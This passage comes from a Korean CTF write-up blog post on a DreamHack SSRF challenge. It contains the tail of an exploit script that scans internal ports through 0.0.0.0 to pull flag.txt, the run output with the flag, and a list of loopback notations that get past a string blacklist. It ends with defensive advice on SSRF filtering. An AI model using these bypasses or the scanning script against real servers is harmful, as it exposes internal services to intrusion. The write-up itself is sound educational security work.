    body = fetch(f"http://0.0.0.0:{port}/flag.txt")
    if body is None or body == ERROR_PNG:
        continue                              # ๋‹ซํžŒ ํฌํŠธ/์ฐจ๋‹จ โ†’ ๋™์ผ error.png
    text = body.decode("utf-8", "replace").strip()
    print(f"[+] OPEN port {port} โ†’ {len(body)} bytes")
    print(f"    content: {text[:200]!r}")
    if "DH{" in text:
        flag = re.search(r"DH\{[^}]*\}", text).group(0)
        print(f"\n[FLAG] {flag}")
        sys.exit(0)
 
print("[-] flag not found in 1500-1800 range")

๋‚ด๋ถ€ ์„œ๋ฒ„๋Š” ์ด ์ธ์Šคํ„ด์Šค์—์„œ 1571 ํฌํŠธ์— ๋–  ์žˆ์—ˆ๊ณ , ๊ทธ ํฌํŠธ์˜ flag.txt๊ฐ€ ํ‰๋ฌธ์œผ๋กœ ๋Œ์•„์™”๋‹ค.

solve.py ์‹คํ–‰ โ€” 1500๋ถ€ํ„ฐ 1800๊นŒ์ง€ ํฌํŠธ๋ฅผ ํ›‘์–ด ์—ด๋ฆฐ ๊ณณ์„ ์ฐพ๊ณ  ๊ทธ ํฌํŠธ์—์„œ flag.txt ๋ฅผ ํšŒ์ˆ˜ํ•œ๋‹ค
solve.py ์‹คํ–‰ โ€” 1500๋ถ€ํ„ฐ 1800๊นŒ์ง€ ํฌํŠธ๋ฅผ ํ›‘์–ด ์—ด๋ฆฐ ๊ณณ์„ ์ฐพ๊ณ  ๊ทธ ํฌํŠธ์—์„œ flag.txt ๋ฅผ ํšŒ์ˆ˜ํ•œ๋‹ค
[*] error.png baseline: 47806 bytes, head=89504e470d0a1a0a
[+] OPEN port 1571 โ†’ 36 bytes
    content: 'DH{43dd2189056475a7f3bd11456a17ad71}'
 
[FLAG] DH{43dd2189056475a7f3bd11456a17ad71}

DH{43dd2189056475a7f3bd11456a17ad71}.



๐Ÿ“ ๊ฒฐ๋ก 

ํ•„ํ„ฐ๊ฐ€ ๋ฌธ์ž์—ด๋งŒ ๋ณด๋ฉด, ๊ฐ™์€ ๊ณณ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋‹ค๋ฅธ ํ‘œ๊ธฐ๋กœ ๋น ์ ธ๋‚˜๊ฐ„๋‹ค.

์ด ๋ฌธ์ œ์˜ ๋ฐฉ์–ด๋Š” netloc์— 127.0.0.1/localhost๊ฐ€ ๋“ค์–ด ์žˆ๋Š”์ง€๋งŒ ๋ดค๋‹ค. ํ•˜์ง€๋งŒ ๊ฐ™์€ loopback์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ํ‘œ๊ธฐ๋Š” 0.0.0.0, 0, 127.1, ์‹ญ์ง„์ˆ˜ 2130706433, 8์ง„์ˆ˜ 0177.0.0.1, IPv6 [::1] ๋“ฑ ์ˆ˜๋‘๋ฃฉํ•˜๋‹ค. ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋กœ๋Š” ์ด ๋ณ€ํ˜•์„ ๋‹ค ๋ง‰์„ ์ˆ˜ ์—†๋‹ค.

SSRF ๋ฐฉ์–ด๋Š” "ํ‘œ๊ธฐ"๊ฐ€ ์•„๋‹ˆ๋ผ "๋„์ฐฉ์ง€"๋กœ ํ•ด์•ผ ํ•œ๋‹ค.

URL์„ ๋ฐ›์•„ ์„œ๋ฒ„๊ฐ€ ๋Œ€์‹  ์š”์ฒญํ•ด์•ผ ํ•œ๋‹ค๋ฉด, ๋ฌธ์ž์—ด ํŒจํ„ด์ด ์•„๋‹ˆ๋ผ DNS ํ•ด์„ ํ›„์˜ ์‹ค์ œ IP๋ฅผ ๊ธฐ์ค€์œผ๋กœ ๋ง‰์•„์•ผ ํ•œ๋‹ค. ํ•ด์„๋œ ์ฃผ์†Œ๊ฐ€ ์‚ฌ์„ค ๋Œ€์—ญ(127.0.0.0/8, 10/8, 172.16/12, 192.168/16, 169.254/16, ::1 ๋“ฑ)์ด๋ฉด ๊ฑฐ๋ถ€ํ•œ๋‹ค. ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋ฅผ ๋”ฐ๋ผ๊ฐ€๋ฉฐ ๋งค ํ™‰๋งˆ๋‹ค ๋‹ค์‹œ ๊ฒ€์‚ฌํ•ด์•ผ ํ•˜๊ณ , ๊ฐ€๋Šฅํ•˜๋ฉด ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ(ํ—ˆ์šฉ ๋„๋ฉ”์ธ๋งŒ)๋กœ ์ขํžˆ๋Š” ํŽธ์ด ์•ˆ์ „ํ•˜๋‹ค.

๋‚ด๋ถ€ ์„œ๋น„์Šค๋ฅผ ๊ฐ™์€ ์‹ ๋ขฐ ๊ฒฝ๊ณ„ ์•ˆ์— ๋‘์ง€ ์•Š๋Š”๋‹ค.

flag๋ฅผ ์„œ๋น™ํ•˜๋Š” SimpleHTTPRequestHandler๊ฐ€ ์™ธ๋ถ€์—์„œ ๋ชป ๋‹ฟ๋Š” loopback์—๋งŒ ๋–  ์žˆ์–ด "์•ˆ์ „ํ•˜๋‹ค"๊ณ  ๊ฐ€์ •ํ–ˆ์ง€๋งŒ, SSRF ํ•œ ๋ฐฉ์œผ๋กœ ๊ทธ ๊ฐ€์ •์ด ๋ฌด๋„ˆ์กŒ๋‹ค. ํฌํŠธ๊ฐ€ ๋ฌด์ž‘์œ„์˜€๋˜ ๊ฒƒ๋„ 300๊ฐœ ์ „์ˆ˜ ์Šค์บ” ์•ž์—์„  ์˜๋ฏธ๊ฐ€ ์—†์—ˆ๋‹ค. ๋‚ด๋ถ€๋ง์— ๋‘”๋‹ค๊ณ  ์•ˆ์ „ํ•œ ๊ฒŒ ์•„๋‹ˆ๋‹ค โ€” ๊ทธ ๋‚ด๋ถ€๋ง์„ ๋Œ€์‹  ๊ธ์–ด ์ค„ SSRF๊ฐ€ ํ•˜๋‚˜๋ผ๋„ ์žˆ์œผ๋ฉด ๊ทธ๋Œ€๋กœ ๋…ธ์ถœ๋œ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 3] raw socket ์œผ๋กœ ๋งŒ๋“  SSRF โ€” localhost ์ „์šฉ /admin ์šฐํšŒ โ€” DreamHack proxy-1 ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] raw socket ์œผ๋กœ ๋งŒ๋“  SSRF โ€” localhost ์ „์šฉ /admin ์šฐํšŒ โ€” DreamHack proxy-1 ํ’€์ด

์ž„์˜ host:port ๋กœ raw ๋ฐ”์ดํŠธ๋ฅผ ๋ณด๋‚ด๊ณ  ์‘๋‹ต์„ ๋Œ๋ ค์ฃผ๋Š” /socket ์ด ๊ทธ๋Œ€๋กœ SSRF ๋ฐœํŒ์ด ๋œ๋‹ค. flag ๋ฅผ ์ฃผ๋Š” /admin ์€ remote_addr ๊ฐ€ 127.0.0.1 ์ผ ๋•Œ๋งŒ ๋™์ž‘ํ•˜๋Š”๋ฐ, /socket ์œผ๋กœ ์„œ๋ฒ„ ์ž์‹ ์˜ 8000 ํฌํŠธ์— ์ƒ HTTP ์š”์ฒญ์„ ํ˜๋ ค๋ณด๋‚ด๋ฉด ์ด ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•œ๋‹ค. ์š”์ฒญ์— ํ•„์š”ํ•œ ํ—ค๋”ยท์ฟ ํ‚คยทํผ๊นŒ์ง€ ์ง์ ‘ ์ ์–ด ๋ณด๋‚ด flag ๋ฅผ ํšŒ์ˆ˜ํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-30#dreamhack +5
[๐Ÿฅˆ Silver 1] ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๋ฌธ์ž์—ด๊ณผ ํŒŒ์ผ์‹œ์Šคํ…œ์ด ๋ฐ›๋Š” ๋ฌธ์ž์—ด์€ ๋‹ค๋ฅด๋‹ค โ€” DreamHack Dream Gallery ํ’€์ด
blog

[๐Ÿฅˆ Silver 1] ํ•„ํ„ฐ๊ฐ€ ๋ณด๋Š” ๋ฌธ์ž์—ด๊ณผ ํŒŒ์ผ์‹œ์Šคํ…œ์ด ๋ฐ›๋Š” ๋ฌธ์ž์—ด์€ ๋‹ค๋ฅด๋‹ค โ€” DreamHack Dream Gallery ํ’€์ด

URL์„ ๋ฐ›์•„ ์ด๋ฏธ์ง€๋ฅผ ๊ฐ€์ ธ์™€ ์ฃผ๋Š” ๊ฐค๋Ÿฌ๋ฆฌ. urlopen ์•ž์— ํ•„ํ„ฐ๊ฐ€ ์„ธ ๊ฒน ์žˆ๋Š”๋ฐ, file:// ์ ‘๋‘์–ด ๊ฒ€์‚ฌ๋Š” ์Šฌ๋ž˜์‹œ๋ฅผ ํ•˜๋‚˜ ์ค„์ด๋ฉด ๋น—๋‚˜๊ฐ€๊ณ  flag ๋ฌธ์ž์—ด ๊ฒ€์‚ฌ๋Š” ํผ์„ผํŠธ์ธ์ฝ”๋”ฉ์œผ๋กœ ๋น—๋‚˜๊ฐ„๋‹ค. Flask๊ฐ€ ์ฟผ๋ฆฌ์ŠคํŠธ๋ง์„ ํ•œ ๋ฒˆ ํ’€๊ณ  url2pathname์ด ๋˜ ํ•œ ๋ฒˆ ํ’€๊ธฐ ๋•Œ๋ฌธ์—, ํ•„ํ„ฐ๊ฐ€ ๊ฒ€์‚ฌํ•˜๋Š” ๋ฌธ์ž์—ด๊ณผ open์— ๋„๋‹ฌํ•˜๋Š” ๊ฒฝ๋กœ๊ฐ€ ์• ์ดˆ์— ๊ฐ™์ง€ ์•Š๋‹ค.
#dreamhack#ctf#web+6
2026-07-30#dreamhack +5
[๐Ÿฅˆ Silver 2] ๊ฒ€์‚ฌ๊ธฐ๋Š” ๋ฌธ์ž์—ด์„ ๋ณด๊ณ  curl ์€ URL ์„ ํŒŒ์‹ฑํ•œ๋‹ค โ€” DreamHack curling ํ’€์ด
blog

[๐Ÿฅˆ Silver 2] ๊ฒ€์‚ฌ๊ธฐ๋Š” ๋ฌธ์ž์—ด์„ ๋ณด๊ณ  curl ์€ URL ์„ ํŒŒ์‹ฑํ•œ๋‹ค โ€” DreamHack curling ํ’€์ด

"simple api server" ๋ผ๋Š” ํ•œ ์ค„ ์„ค๋ช…์ด ์ „๋ถ€์ธ ๋ฌธ์ œ. 46์ค„์งœ๋ฆฌ Flask ์•ฑ์ด url ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ curl ๋กœ ๋Œ€์‹  ์š”์ฒญํ•ด ์ฃผ๋Š”๋ฐ, ํ˜ธ์ŠคํŠธ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๊ฐ€ ์ ‘๋‘์‚ฌ ๋น„๊ต๋ผ์„œ URL ์˜ userinfo ๋ฅผ ๋ผ์›Œ ๋„ฃ์œผ๋ฉด ํ†ต๊ณผํ•˜๊ณ , ์—”๋“œํฌ์ธํŠธ ์ฐจ๋‹จ์€ ๋ฌธ์ž์—ด ๋๋งŒ ๋ด์„œ ๋ฌผ์Œํ‘œ ํ•˜๋‚˜์— ๋ฌด๋„ˆ์ง„๋‹ค. ๋‘ ๊ตฌ๋ฉ์„ ํ•œ ์ค„์— ๊ฒน์ณ ๋†“์œผ๋ฉด ์„œ๋ฒ„๊ฐ€ ์ž๊ธฐ ์ž์‹ ์—๊ฒŒ ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฑ‰๋Š”๋‹ค.
#dreamhack#ctf#web+6
2026-07-29#dreamhack +5